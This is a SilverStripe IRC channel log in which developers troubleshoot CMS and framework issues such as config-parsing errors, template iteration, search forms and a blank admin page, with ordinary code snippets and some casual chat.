466: [05:18:56] <Bosie> Hi guys. Wonder if you can help. I'm trying to port and old SS3 codebase to latest SS. On doing s dev/build I'm getting Use of undefined constant a - assumed 'a' in /path/to/framework/core/manifest/ConfigStaticManifest.php(337) : eval()'d code on line 1
467: [05:19:24] <Bosie> line 337 doesn't give me any clues
468: [05:19:57] <Bosie> it's in the function parseStatic($access, $class)
469: [05:20:37] <simon_w|work> Bosie, you've got a static with a default value of a (a is a constant), but a hasn't been defined at the time of config parsing
470: [05:21:23] * Ryan-Toast quit (Quit: Ryan-Toast)
471: [05:22:14] * Kingy is now known as Kingy[a]
472: [05:22:58] <Bosie> simon_w :) what does that mean? ;) sorry
473: [05:23:25] <simon_w|work> Bosie, class Blah { static $foo = array('baz' => a) }
474: [05:24:17] <Bosie> ah ok, thanks :) is there any easy way of tracking it down or do I have to trawl?
475: [05:25:18] <simon_w|work> grep -rE 'a\s*[,;)]' folder
476: [05:25:22] <simon_w|work> that might do it
477: [05:25:38] <simon_w|work> It'll be even easier if the constant isn't actually something insanely common like a
478: [05:27:00] <Bosie> brilliant - thanks for your time simon :)
479: [05:32:50] * caamic30 has joined #silverstripe
480: [05:35:49] * zane_ quit (Ping timeout: 246 seconds)
481: [05:35:50] * an_Eskimo quit (Ping timeout: 246 seconds)
482: [05:36:01] * zippy__ quit (Ping timeout: 272 seconds)
483: [05:38:50] * UncleCheese quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…)
484: [05:51:16] * Ryan-Toast has joined #silverstripe
485: [05:53:37] <Bosie> Found it - thanks simon_w :)
486: [05:57:52] * Bosie quit (Ping timeout: 246 seconds)
487: [06:15:49] * caamic30 quit (Quit: caamic30)
488: [06:18:17] * Ryan-Toast quit (Quit: Ryan-Toast)
489: [06:19:49] * eagles0513875 quit (*.net *.split)
490: [06:19:49] * oetiker quit (*.net *.split)
491: [06:23:57] * eagles0513875 has joined #silverstripe
492: [06:23:57] * oetiker has joined #silverstripe
493: [06:24:14] * eagles0513875 quit (Max SendQ exceeded)
494: [06:26:16] * eagles0513875 has joined #silverstripe
495: [06:37:26] * caamic30 has joined #silverstripe
496: [06:46:36] * Error404NotFound has joined #silverstripe
497: [06:58:29] * Error404NotFound quit (Read error: Connection reset by peer)
498: [07:00:26] * Sj0hn has joined #silverstripe
499: [07:00:38] <Sj0hn> Morning
500: [07:09:49] * Shrike_Finland has joined #silverstripe
501: [07:12:12] * irogue_ quit (Quit: My MacBook has gone to sleep. ZZZzzz…)
502: [07:13:17] * babak has joined #silverstripe
503: [07:39:11] * DesignerX quit (Ping timeout: 244 seconds)
504: [07:39:54] * DesignerX has joined #silverstripe
505: [07:41:37] * ocm has joined #silverstripe
506: [07:41:41] <ocm> howdy!\
507: [07:45:07] * stnvh has joined #silverstripe
508: [07:48:20] * Robke has joined #silverstripe
509: [07:48:25] <Robke> hello :)
510: [07:52:38] <Robke> is any example of cms fields, i mean, i need to show content(htmleditorfield) in cases if admin selects one of pages types. if he select that created tile will be a slide (appears uplaod fields), if page (appears content).
511: [07:52:39] <ocm> hi
512: [07:52:54] <ocm> uhr?
513: [07:53:26] <Robke> imagine... i have a dataobject called Tile
514: [07:54:01] <Robke> then you creating tile you have (lets say two options) tile show be shown like slider or just a single page :)
515: [07:55:19] <Robke> so if you select that the created tile will be slide i need that in CMS after this selected thing will appear uplaod field. if selected is Page(not a Slider) should appear content(HTMLEditorFiel)
516: [07:55:29] <Robke> do you understand what im looking for?
517: [07:56:05] <ocm> so you want to use dataobject as page and as dataobject?
518: [07:56:30] <ocm> https://github.com/arambalakjian/DataObject-as-Page have you seen that?
519: [07:56:53] <Robke> nope i will look at this :)
520: [07:57:23] <Robke> but i think that im looking something like conditions, what kind of fields should appear in cms if something is selected
521: [07:59:35] <ocm> I think, if you want to use them dynamically (fields showing/hiding on click/checkboxchecking without saving first) you will need to have both fields in the cms available, and use js and css to hide/show
522: [08:00:11] <ocm> else you could do something like if ( $this->ClassName == 'Page' ) { fieldhere } else { other stuff here }
523: [08:01:12] <Robke> yes this is what im looking for :) so my question would be, is any axemple of that? :)
524: [08:02:16] <ocm> the dynamic version you mean?
525: [08:02:37] * kinglozzer has joined #silverstripe
526: [08:03:14] <Robke> yes
527: [08:05:23] <ocm> its kinda just basic css/javascript to make it dynamic. Adding the fields to cms aswell.
528: [08:05:29] <ocm> http://doc.silverstripe.com/framework/en/topics/javascript you might wanne take a look at this
529: [08:05:47] <ocm> I don't have any example to show you, sorry
530: [08:07:20] <Robke> well thanks for everything i will try something on my own... hope i can solve these problems :)
531: [08:14:50] <ocm> if you have any questions or bumb into problems, just ask :)
532: [08:16:46] <Robke> ok thanks for everything :)
533: [08:17:02] * Error404NotFound has joined #silverstripe
534: [08:19:43] * Pyrk has joined #silverstripe
535: [08:21:03] * micmania1 has joined #silverstripe
536: [08:21:10] <Pyrk> [17:08] <kinglozzer> Pygrdfldk: Did it work? I'm curious
537: [08:21:11] <Pyrk> Nope.
538: [08:21:17] <kinglozzer> :(
539: [08:21:21] <Pyrk> it's not a thing, I was asking if there was a thing.
540: [08:21:27] <Pyrk> but it seems there isn't.
541: [08:22:11] <Pyrk> so instead class IterableArrayData extends ArrayData {public function IterateMe() { foreach($this->array as $key => $value) $values[] = ArrayData::create(array('key' => $key, 'value' => $value)); return ArrayList::create($values);} }
542: [08:24:21] <Pyrk> it's not the same, but has the right effect in my usecase.
543: [08:24:57] <ocm> Pyrk, what are you trying to achieve?
544: [08:25:09] <ocm> and why do I read IterateMe as IrritateMe()? xD\
545: [08:25:11] <Pyrk> template dumping of data
546: [08:25:17] <Pyrk> ocm: it does irritate me!
547: [08:25:43] <Pyrk> I thought model data was iterable (as in the keys)
548: [08:26:17] <Pyrk> I have 2 arrays. One contains a list of headers, the other a list of rows, each row being an object holding data under the key of each header.
549: [08:26:48] <Pyrk> In a template I have to manually call these by name, there's no "iterate all the keys and give me $value"
550: [08:27:51] <ocm> hm, true
551: [08:28:00] <ocm> change your datamodel? :P
552: [08:28:17] <Pyrk> I'd still need to know all the keys.
553: [08:28:30] <Pyrk> or a custom object that implements something like forTemplate()
554: [08:29:57] <micmania1> Pyrk: Why not just $ArrayData.toArray() ?
555: [08:30:06] <Pyrk> micmania1: because template
556: [08:30:15] <Pyrk> then how to get values?
557: [08:30:28] <Pyrk> it just returns "Array" (Array::__toString())
558: [08:30:32] <micmania1> $Me
559: [08:30:35] <Pyrk> nup
560: [08:31:03] <Pyrk> http://logs.simon.geek.nz/index.php?date=2014-06-18#log_1318223
561: [08:32:02] <Pyrk> eg [User Error] Uncaught Exception: Object->__call(): the method 'fortemplate' does not exist on 'IterableArrayData'
562: [08:33:04] <Pyrk> and if you get the pure array (which is toMap, not toArray), then [Warning] nl2br() expects parameter 1 to be string, array given
563: [08:33:09] <Pyrk> from StringField.php 104 return nl2br($this->XML());
564: [08:33:44] <Pyrk> StringField::forTemplate() that is
565: [08:34:57] <Pyrk> I even tried <% loop arraydata.toMap %><td>$current()</td><% end_loop %> (from Iterator interface, current returns current value
566: [08:34:58] <Pyrk> )
567: [08:35:56] * kerosene quit (Ping timeout: 240 seconds)
568: [08:37:58] <ocm> perhaps you can use renderWith()?
569: [08:38:05] <ocm> create a custom template for your rows
570: [08:38:14] <ocm> or are the keys not fixed in your datalist?
571: [08:40:24] <Pyrk> No, that's the whole point.
572: [08:40:31] <Pyrk> It's an arraydata, not a dataobject.
573: [08:40:53] <Pyrk> even if it was, one doesn't necessarially always know <which> type of data object they've been passed
574: [08:41:01] <ocm> you can still use renderWith() for an arraydata
575: [08:41:13] <Pyrk> and I can't renderwith, this is all happening IN the template.
576: [08:41:44] * Shrike_Finland quit (Quit: Leaving.)
577: [08:43:45] <ocm> hm, that is kinda sucky
578: [08:44:15] <micmania1> Pyrk: Why you using an arraydata?
579: [08:44:21] <Pyrk> An array data is fluid.
580: [08:44:34] <Pyrk> micmania1: because these aren't SS models.
581: [08:44:52] <micmania1> yeah, but if you want to loop through it just convert it to arraylist
582: [08:45:16] <Pyrk> and then how to output the data?
583: [08:45:42] <Pyrk> <% loop arraylistwithonlypurevaluesinit %>$...
584: [08:46:35] <micmania1> <% loop ArrayList %>$MyArrayDataValue<% end_loop %>
585: [08:47:58] <Pyrk> and what is that value?
586: [08:48:03] <Pyrk> $Key?
587: [08:48:04] <micmania1> Or you could add an extension to ArrayData then <% loop $ArrayData.MyCustomMethod %>$Me<% end_loop %>
588: [08:48:27] <Pyrk> $Me relies on string conversion or forTemplate
589: [08:48:51] <micmania1> ok, so your arraylist would be an array of array datas
590: [08:49:01] <micmania1> each array data would have the same key
591: [08:49:09] <micmania1> <% loop ArrayList %>$Key<% end_loop %>
592: [08:50:41] <Pyrk> yeah so look at 09:22 :P
593: [08:51:45] <Pyrk> because if you make the ArrayData an ArrayList instead so you can iterate it, $value or $Me gives you [Warning] call_user_func_array() expects parameter 1 to be a valid callback, class 'The string value here' not found
594: [08:52:15] <Pyrk> and locks the fuck up out of the browser
595: [08:52:22] <Pyrk> because it happens for every cell on every row :<
596: [08:52:31] <Pyrk> being a non fatal warning
597: [08:54:41] <micmania1> Pyrk: Whats wrong with your solution at 9.22?
598: [08:54:51] <Pyrk> micmania1: nothing, it's just annoying I have to.
599: [08:55:32] <micmania1> Add it as an extension so its nicer
600: [08:56:45] <micmania1> Pyrk: http://pastie.org/private/jcpmhakhwaokrntndmuseq
601: [08:57:15] <micmania1> Then you can carry on using ArrayData everywhere
602: [08:59:07] <Pyrk> <table><thead><tr><% loop Columns %><th>$displayName</th><% end_loop %></thead><tbody><% loop RowsOfData %><tr><% loop Up.Columns %><td>${resetScopeToData}.getField($columnName)</td><% end_loop %></tr><% end_loop %></tbody></table>
603: [09:00:23] <Pyrk> is what I was asking about micmania1. But yeh, you're right. It would be nicer as an extension.
604: [09:07:29] * kerosene has joined #silverstripe
605: [09:10:47] * daslicht has joined #silverstripe
606: [09:11:20] <daslicht> is it possible to create such a filter with silverstripe: http://processwire.com/skyscrapers/
607: [09:11:21] <daslicht> ?
608: [09:12:40] <Zauberfisch> daslicht: what filtr?
609: [09:12:48] * spronk2 has joined #silverstripe
610: [09:12:49] <daslicht> at the top right
611: [09:12:58] <ocm> cite/height/floors/etc?
612: [09:13:02] <daslicht> where you can select some attributes and filter the "skyscrapers"
613: [09:13:05] <daslicht> aye
614: [09:13:12] <Zauberfisch> yes
615: [09:13:14] <Zauberfisch> it is
616: [09:13:18] <daslicht> cool
617: [09:13:21] <ocm> add them as properties to your dataobject
618: [09:13:24] <Zauberfisch> bascially everything is possible
619: [09:13:41] <daslicht> yeh :) but with what efford
620: [09:13:42] <daslicht> hehe
621: [09:13:46] <Zauberfisch> indeed
622: [09:13:54] <Zauberfisch> but yeah, its possible
623: [09:14:06] <daslicht> i could code it myself with symfony but I search for something sleek :D
624: [09:14:11] <daslicht> with less coding
625: [09:14:17] <Zauberfisch> in fact, a basic implementation is pretty easy
626: [09:14:46] <daslicht> do i need to code such filter , or is it a configuration thing ?
627: [09:14:54] <Zauberfisch> and as long as you don't want full text search, the search results will also be quiet ok
628: [09:15:20] <daslicht> essentially i just like to craete a database of products
629: [09:15:29] <daslicht> and search for its properties
630: [09:15:34] <daslicht> so not really text search
631: [09:15:39] <Zauberfisch> daslicht: silverstripe is a framework (also cms), designed for developers. there is no "fancy clicky editor" that produces code or something for you
632: [09:15:46] <daslicht> eg producer , name, type etc
633: [09:15:56] <Zauberfisch> if you are afraid of code, you might want to choose a different system
634: [09:16:11] <daslicht> I am not afraoid of code , I just coded to much lately
635: [09:16:14] <Pyrk> not afraid of code Zauberfisch, just wants to do less of it, which is what SS is all about. :P
636: [09:16:39] <Zauberfisch> Pyrk: like pretty much every framework
637: [09:16:45] <daslicht> ok lloks like i joined the corrcect channel :D
638: [09:17:21] <Zauberfisch> daslicht: well, silverstripe has a ORM, that is pretty decent, so you don't have to write SQL
639: [09:17:31] <daslicht> I am a coder tho , but I am sick of coding at the moment :D
640: [09:17:32] <micmania1> daslicht: A good place to start would be here: http://doc.silverstripe.org/framework/en/tutorials/
641: [09:17:44] <micmania1> It goes on to describe forms to help you get started.
642: [09:17:45] <Zauberfisch> and a form class that creates the form for you
643: [09:17:54] <Zauberfisch> but you still need to write code to make the form use the orm
644: [09:18:07] <daslicht> I have no issue in writing code
645: [09:18:11] <Pyrk> public function SkyscraperForm(){ return Form::create($this, __FUNCTION__, FieldList::create(DropdownField::create('height', 'Height', array(...))), FieldList::create(FormAction::create('doSearch', 'Search'))); }
646: [09:18:20] <Zauberfisch> yeah, if you are new to silverstripe, then you really should go through the tuts
647: [09:18:21] <daslicht> but I dont like to write that much as I woudl have with Symfony2
648: [09:18:27] <Pyrk> indeed Zauberfisch, like most all frameworks :>
649: [09:18:53] <daslicht> I will have a look on the tutrials now
650: [09:19:20] <daslicht> this might be offtopic but anyone compared silverstripe to processwire ?
651: [09:19:34] <Zauberfisch> not that I know of
652: [09:19:43] <daslicht> just curious how it compares
653: [09:19:50] <daslicht> ok i read the tutorials now
654: [09:20:05] <daslicht> thank you !
655: [09:22:11] <Pyrk> public function doSearch($data, $form, $request) { $this->customise(SkyScrapers::get()->filter(...); }
656: [09:22:25] <Pyrk> also, what the hell is a processwire?
657: [09:22:39] <daslicht> http://processwire.com
658: [09:22:44] <daslicht> a cms
659: [09:22:47] <daslicht> :D
660: [09:23:06] <Pyrk> mmm. Looks crap :<
661: [09:28:55] * caamic30 quit (Quit: caamic30)
662: [09:29:02] <Zauberfisch> this would actually work really well for another silverstripe tutorial
663: [09:29:12] <kinglozzer> Guise, need to run a preg_replace on HTMLText field before it's output, howdo?
664: [09:29:39] <Zauberfisch> kinglozzer: uhm, where is that html text? is it a field of a object?
665: [09:29:48] <kinglozzer> Zauberfisch: Yeah, Content
666: [09:29:53] * caamic30 has joined #silverstripe
667: [09:30:01] <Zauberfisch> on that object:
668: [09:30:11] <kinglozzer> Oh, I guess I could just add a getContent method :P
669: [09:30:42] <Zauberfisch> public function Content() { return preg_replace( ... $this->getField('Content') ...); }
670: [09:30:45] <Zauberfisch> or something like taht
671: [09:30:56] <Zauberfisch> I think getContent might be a problem
672: [09:31:17] <Zauberfisch> getContent is also used to populate the fields in the cms I think
673: [09:31:23] <Zauberfisch> but Content is just used by the template
674: [09:32:41] <kinglozzer> Zauberfisch: Hmm, I actually just realised I need to add it globally to HTMLText :|
675: [09:32:46] * Robke quit (Ping timeout: 246 seconds)
676: [09:32:57] <kinglozzer> I've a couple of other HTMLText fields, don't wanna duplicate that code unless I have to
677: [09:33:16] <Zauberfisch> kinglozzer: careful there: silverstripe uses HTMLText a lot more than you think
678: [09:33:31] <Zauberfisch> pretty much any string is a HTMLText these days
679: [09:33:54] * Robke has joined #silverstripe
680: [09:33:55] <Zauberfisch> Form::create()->forTemplate == HTMLText
681: [09:34:15] <Zauberfisch> so you might end up getting messed up form HTML if you are not careful
682: [09:35:37] <kinglozzer> Ty Zauberfisch, it's modifying attributes on specific elements so should be fine
683: [09:40:53] * Error404NotFound quit (Ping timeout: 240 seconds)
684: [09:41:14] * Error404NotFound has joined #silverstripe
685: [09:42:01] <Zauberfisch> btw, this skyscraper question earlier brings me to a good question:
686: [09:42:13] <Zauberfisch> whats your take on best practice for filters using ss forms?
687: [09:42:41] <Zauberfisch> option A) set the form method to GET, and do the output in the form action
688: [09:43:05] <Zauberfisch> option B) save the search query into session and redirect back, and then display the results
689: [09:43:18] <Pyrk> I'd probably go GET because it's a ssearch
690: [09:43:19] <Zauberfisch> I have used both in the past, and am not quiet sure which I like better
691: [09:43:33] <Pyrk> doesn't make sense to POST. Not like it _really_ matters, but yeh.
692: [09:43:34] <Zauberfisch> GET has the benefit of having a URI
693: [09:43:41] <Pyrk> mm
694: [09:43:59] <Pyrk> but at the same time your form has to be named something not silly
695: [09:44:07] <Zauberfisch> yeah
696: [09:44:20] <Zauberfisch> its verbose
697: [09:44:22] <Pyrk> unless your form action simply redirects to another action/page after ploking getvars on the end
698: [09:44:29] <Zauberfisch> I did that too
699: [09:44:34] <Zauberfisch> actually on the last project
700: [09:44:36] <Pyrk> or params
701: [09:44:41] <Zauberfisch> fulltext search
702: [09:44:52] <Pyrk> but I don't like when people use params when they should use getvars, and vice versa
703: [09:45:01] <Zauberfisch> form is post, but redirects siply to: "mysite.com/search/$YOUR_SEARCH_TERMS"
704: [09:45:27] * marvanni has joined #silverstripe
705: [09:45:30] <Zauberfisch> or did I use "mysite.com/search/?terms=$YOUR_SEARCH_TERMS"
706: [09:45:34] <Zauberfisch> can't recall
707: [09:45:39] <Zauberfisch> but something along those lines
708: [09:45:55] <Pyrk> I saw this really nice suit I want to buy, but it's 600 euros :<
709: [09:46:02] <Pyrk> So I'm all 'fuck that'.
710: [09:46:14] <Pyrk> but if someone has some work going spare... :D
711: [09:46:30] <Zauberfisch> good suits are expensive ...
712: [09:46:33] <Pyrk> missus is going on holiday and there are no good tv shows to waste my time on
713: [09:46:44] <Zauberfisch> :D
714: [09:47:55] <Pyrk> Zauberfisch: oh, also I'd have to fly to Europe to get it :/
715: [09:48:07] <Pyrk> so it's even more expensive. but I'd get a neat trip out of it too!
716: [09:50:09] <Zauberfisch> Pyrk:you could go bug hunting to kill time :P
717: [09:50:15] <Zauberfisch> but that won't pay your suit though
718: [09:50:39] <Zauberfisch> but it will make me (and probably others) happy
719: [09:51:52] * Error404NotFound quit (Read error: Connection reset by peer)
720: [09:52:44] * Tanger quit (Quit: Tanger)
721: [09:53:41] <spronk2> http://www.stuff.co.nz/national/10174693/Mystery-bangs-and-shaking-in-Auckland
722: [09:53:44] <spronk2> ruh roh
723: [09:53:46] <spronk2> aucklands gonna splode
724: [09:55:08] <daslicht> the tutorial code looks different to the silverlight default template code
725: [09:55:10] <daslicht> anyways
726: [09:55:18] <Zauberfisch> silverlight?
727: [09:55:31] <daslicht> silverstripe
728: [09:55:33] <Zauberfisch> (:
729: [09:55:50] <Zauberfisch> define different
730: [09:55:51] <daslicht> SideBar.ss looks different
731: [09:59:09] * simon_w has joined #silverstripe
732: [10:00:43] * simon_w|work quit (Ping timeout: 240 seconds)
733: [10:01:08] <daslicht> just in case somone cares about consistency :
734: [10:01:09] <daslicht> https://gist.github.com/daslicht/058518a90b3029fb2c7d
735: [10:05:07] * superspring_ quit (Read error: Connection reset by peer)
736: [10:06:47] * superspring has joined #silverstripe
737: [10:09:29] * Error404NotFound has joined #silverstripe
738: [10:10:50] <Pyrk> Zauberfisch: nah, I don't do bugs.
739: [10:11:33] <Pyrk> spronk2: well, glad my mother doesn't live on the hibiscus coast anymore then!
740: [10:11:59] <spronk2> lol
741: [10:12:08] <Pyrk> daslicht: its' just an example. templates can of course vary wildly
742: [10:12:24] <daslicht> this makes things hard to learn
743: [10:12:34] <daslicht> especially when specila tags are used
744: [10:12:44] <Pyrk> gawd
745: [10:12:52] <Pyrk> not lol spronk2
746: [10:12:55] * cloph_away is now known as cloph
747: [10:13:37] <Pyrk> daslicht: tehre are no special tags.
748: [10:13:54] <daslicht> ok wrong term
749: [10:13:54] <daslicht> class="$LinkingMode"
750: [10:13:59] * simon_w|work has joined #silverstripe
751: [10:14:04] <daslicht> special dynamic classes?
752: [10:14:15] <Pyrk> the tutorial is a simple introduction. The default theme's sidebar does something very different to what the example does.
753: [10:14:33] <daslicht> ok i keep reading
754: [10:14:35] <Pyrk> daslicht: returns 'current', 'section' or 'link'
755: [10:14:48] <daslicht> ok
756: [10:14:56] <daslicht> i bet i find those in the docs
757: [10:15:05] <Pyrk> daslicht: there used to be a list of all basic default template vars to go with it. But that was made obsolete and taken down from the docs
758: [10:15:08] <Pyrk> for some reason
759: [10:15:20] <daslicht> ?
760: [10:15:34] <daslicht> how do you know them if they are not documented?
761: [10:15:49] <simon_w> Oh good, my work computer's still going
762: [10:16:00] <Pyrk> daslicht: http://doc.silverstripe.org/framework/en/topics/page-type-templates
763: [10:16:13] <Pyrk> gidday simon_w
764: [10:16:23] <simon_w> Morning Pyrk
765: [10:16:51] <Pyrk> daslicht:http://api.silverstripe.org/3.1/class-SiteTree.html#_LinkingMode
766: [10:17:11] <Pyrk> similarly, ContentController
767: [10:17:57] <Zauberfisch> daslicht: there is actually a big discussion about the docs, and what sucks about the docs
768: [10:18:08] <Zauberfisch> daslicht: there probably are some inconsistencies
769: [10:18:13] <daslicht> so this : $LinkingMode essential is a call to a helper function ?
770: [10:18:19] <Zauberfisch> daslicht: but we are here for you to guide you through it ;)
771: [10:18:25] <daslicht> yeah
772: [10:18:42] <Zauberfisch> daslicht: yes. $Soemthing in template always does the following things:
773: [10:18:51] <Pyrk> looks at controller
774: [10:18:58] <Pyrk> if not on controller, looks at model.
775: [10:19:11] <Zauberfisch> - see if there is a Method by that name (eg in the current Controller, the current Model, the Viewer helpers)
776: [10:19:20] <daslicht> cool
777: [10:19:33] <Zauberfisch> - also checks if there is a getter for it. (eg function getSomething() {})
778: [10:19:36] <daslicht> that screams to craete custom functions
779: [10:19:47] <daslicht> :D
780: [10:20:09] <Zauberfisch> - if not found, then it looks for a property, or a Database Field, or a relation
781: [10:20:12] <Pyrk> of course, scope still applies. Looks at controller when at natural scope. As soon as you loop or with another model, it looks directly at that model. Scope does not filter through either (like in PHP code)
782: [10:20:35] <Pyrk> daslicht: well yes. that's how it works.
783: [10:20:45] <Pyrk> if it doesn't do it, you have to make a function that does.
784: [10:20:47] <Zauberfisch> daslicht: so eg $ID is probably the int value form the database
785: [10:20:52] <Pyrk> that's true of anything everywhere.
786: [10:20:55] <Zauberfisch> $LinkingMode is a php function that returns a string
787: [10:20:55] <daslicht> ok i keepo reading through the tutorials
788: [10:21:16] <Pyrk> you can't make functions in the templates, that's just naughty, lazy, and messy!
789: [10:24:02] <Pyrk> guys, I need to set up github to work through http
790: [10:24:13] <Pyrk> then I can do stuffs
791: [10:24:36] <marvanni> don't forget the Template Global Providers. Pretty handy...
792: [10:25:39] <Pyrk> mm, I think they're 'Viewer helpers' that Zauberfisch was talking about above.
793: [10:25:45] <Pyrk> $BaseHref
794: [10:25:46] <Pyrk> etc
795: [10:25:56] <marvanni> ah, missed that one :)
796: [10:29:49] * SightUnseen has joined #silverstripe
797: [10:30:06] * spronk2 quit (Quit: spronk2)
798: [10:34:03] * SightUnseen quit (Ping timeout: 240 seconds)
799: [10:41:55] * UncleCheese has joined #silverstripe
800: [10:54:23] * R\w\C_ has joined #silverstripe
801: [10:54:38] * spronk2 has joined #silverstripe
802: [10:55:08] * R\w\C_ is now known as R\w\C
803: [10:55:16] * R\w\C quit (Changing host)
804: [10:55:16] * R\w\C has joined #silverstripe
805: [10:56:01] * r3v3rb has joined #silverstripe
806: [10:56:17] <r3v3rb> Hi All
807: [10:56:25] <kinglozzer> Hey r3v3rb
808: [10:56:40] <r3v3rb> kinglozzer: I was just about to answer you and you left yesterday!
809: [10:56:51] <kinglozzer> r3v3rb: Sorry, had to run!
810: [10:56:55] <r3v3rb> no worries
811: [10:57:07] * krofek quit (Ping timeout: 272 seconds)
812: [10:59:00] <r3v3rb> micmania1: and the answer to the phpstorm is : cmd-opt-o then type the symbol/function name
813: [10:59:28] <r3v3rb> kinglozzer: I had seen that undefined type error and will fix it soon ;)
814: [10:59:36] <kinglozzer> So r3v3rb, client happy with the loadbalancer? :P
815: [10:59:44] <Zauberfisch> Pyrk: I think $BaseHref is deprecated
816: [10:59:53] <r3v3rb> you are correct, its the missing chosen js :)
817: [11:00:09] <kinglozzer> Zauberfisch: No deprecation messages here, 3.1 mind
818: [11:00:27] <r3v3rb> kinglozzer: they seem to be although they have had to tune up the VM resources already in the Azure panel to quad core x 2 entities
819: [11:00:50] <r3v3rb> just to get a similar level of performance to my quad core server
820: [11:01:12] * spronk2 quit (Ping timeout: 244 seconds)
821: [11:01:14] <kinglozzer> Zauberfisch: Oh, you're right, it says "//@deprecated 3.0" in a comment, but it hasn't actually been deprecated :P
822: [11:01:24] <kinglozzer> r3v3rb: Where's it hosted?
823: [11:01:35] <r3v3rb> Europe North
824: [11:02:12] <kinglozzer> r3v3rb: And it's static published? 'cause 600ms response time for static html isn't great D:
825: [11:02:12] <micmania1> r3v3rb: firstly, what is that in windows speak? Secondly, what was my question again?
826: [11:02:18] <r3v3rb> I read alot about Azure and the load balancer and it can add ‘lots’ of overhead
827: [11:02:50] <r3v3rb> kinglozzer: indeed, my server was under 20ms for the site
828: [11:03:06] <r3v3rb> theirs is ‘poor’ blame azure not me :)
829: [11:03:36] <r3v3rb> micmania1: ctrl-opt-O and the question was to find a symbol/function in the project source I believe
830: [11:03:49] <micmania1> ah, I remember now lol
831: [11:04:04] <micmania1> What's the opt key equivilent?
832: [11:04:30] <kinglozzer> r3v3rb: Heh, well you can't be to blame! It's static html :P
833: [11:04:39] <r3v3rb> exactly
834: [11:04:42] <kinglozzer> Surely it's the loadbalancer adding that overhead... crazy
835: [11:04:45] <r3v3rb> so its all down to the system
836: [11:04:58] <r3v3rb> it is, remove the LB and it drops like crazy
837: [11:05:06] <daslicht> when you craete a ArticlePage type, where will it be stored in teh db ?
838: [11:05:27] <daslicht> i cant find the table in teh db after rebuilding?
839: [11:07:37] <r3v3rb> kinglozzer: the setup ending up being admin running under a separate port outside of the LB so as not to introduce issues with file uploads/ajaz submissions getting switched by the load balancer
840: [11:07:42] <r3v3rb> ajax*
841: [11:08:07] <r3v3rb> then the system uses a master-master replicated mysql db
842: [11:08:12] <daslicht> https://www.dropbox.com/s/h2hnbhw5c8w72uz/Screenshot%202014-06-18%2013.08.06.png
843: [11:08:19] <kinglozzer> r3v3rb: Sounds like you had fun helping them set that up!
844: [11:08:27] <daslicht> https://www.dropbox.com/s/vjoo9da39h0q3oa/Screenshot%202014-06-18%2013.08.25.png
845: [11:08:47] <r3v3rb> and the important folders in the site are cron tasked with unison to do syncs between local servers
846: [11:08:48] <kinglozzer> daslicht: If you didn't add any custom fields, it won't get its own table
847: [11:08:57] * krofek has joined #silverstripe
848: [11:09:32] <r3v3rb> kinglozzer: I haven’t raised the invoice yet for that little lot along with the initial creation and setup of the two LAMP stack VM’s in the Azure Portal :)
849: [11:09:38] * UncleCheese quit (Quit: My MacBook has gone to sleep. ZZZzzz…)
850: [11:10:51] <daslicht> kinglozzer: i did as described in teh second tut
851: [11:10:55] <daslicht> i keep reading
852: [11:11:03] <r3v3rb> I stayed away from the rsync solution provided by the static publisher module as rsync chokes on the SSH getting output from the Bash Shell and fails before any syncing occurs, obviously I could have fixed the bash shell but…
853: [11:11:32] <daslicht> hm now i get a white page when i open the admin
854: [11:11:41] <r3v3rb> unison also provides bi-directional syncing of the system :)
855: [11:11:50] <daslicht> following this: http://doc.silverstripe.org/framework/en/tutorials/2-extending-a-basic-site
856: [11:12:01] <r3v3rb> and monitors changes both sides of the exchange if any have occurred
857: [11:13:08] <daslicht> what am i missing ?
858: [11:13:14] <daslicht> <?php
859: [11:13:14] <daslicht> class ArticlePage extends Page {
860: [11:13:14] <daslicht> private static $db = array(
861: [11:13:16] <daslicht> 'Date' => 'Date',
862: [11:13:18] <daslicht> 'Author' => 'Text'
863: [11:13:20] <daslicht> );
864: [11:13:22] <daslicht> public function getCMSFields() {
865: [11:13:24] <daslicht> $fields = parent::getCMSFields();
866: [11:13:26] <daslicht> // var_dump($fields);
867: [11:13:28] <daslicht>
868: [11:13:30] <daslicht> $dateField = new DateField('Date');
869: [11:13:32] <daslicht> $dateField->setConfig('showcalendar', true);
870: [11:13:34] <daslicht> $fields->addFieldToTab('Root.Main', $dateField, 'Content');
871: [11:13:36] <daslicht> $fields->addFieldToTab('Root.Main', new TextField('Author'), 'Content');
872: [11:13:38] <daslicht>
873: [11:13:39] <kinglozzer> daslicht: stop
874: [11:13:40] <daslicht> return $fields;
875: [11:13:42] <daslicht> }
876: [11:13:44] <daslicht> }
877: [11:13:46] <daslicht> class ArticlePage_Controller extends Page_Controller {
878: [11:13:48] <kinglozzer> daslicht: Please stop pasting code here
879: [11:13:48] <daslicht> }
880: [11:13:50] <daslicht> oops
881: [11:13:51] <kinglozzer> :P
882: [11:13:52] <daslicht> sorry
883: [11:13:54] <daslicht> https://gist.github.com/daslicht/e427dcf26dec599bd484
884: [11:13:56] <daslicht> wrong button
885: [11:13:58] <daslicht> https://gist.github.com/daslicht/84b2b554f453a471da9d
886: [11:14:02] <daslicht> i apologize
887: [11:14:04] <daslicht> wrong button
888: [11:14:09] <kinglozzer> Np :P
889: [11:14:12] <daslicht> i added those 2 files
890: [11:14:15] <daslicht> to code
891: [11:14:22] <daslicht> and i rebuilt the db
892: [11:14:31] <kinglozzer> daslicht: Did you flush as well?
893: [11:14:33] <daslicht> but now i get a white page when i navigate to the admin
894: [11:15:07] <daslicht> jip
895: [11:15:10] <daslicht> still white
896: [11:16:32] <kinglozzer> daslicht: Is your site in dev mode?
897: [11:16:33] <kinglozzer> http://doc.silverstripe.org/framework/en/trunk/installation/common-problems
898: [11:16:37] <daslicht> http://silverstripe.site/admin
899: [11:16:47] <daslicht> aeh
900: [11:16:52] <daslicht> http://31.150.20.212/admin/pages
901: [11:16:56] <kinglozzer> Also, http://www.leftandmain.com/silverstripe-tips/2010/09/08/8-common-silverstripe-errors-explained-and-solved/
902: [11:17:56] <daslicht> ok now in dev
903: [11:17:58] <kinglozzer> r3v3rb: Should be a nice little invoice then :P
904: [11:18:00] <r3v3rb> daslicht: check Page.php have you altered anything on that?
905: [11:18:05] <daslicht> nope
906: [11:18:05] <r3v3rb> kinglozzer: mebbe ;)
907: [11:18:29] <daslicht> frontend still works: http://31.150.20.212/
908: [11:19:25] * Error404NotFound quit (Read error: Connection reset by peer)
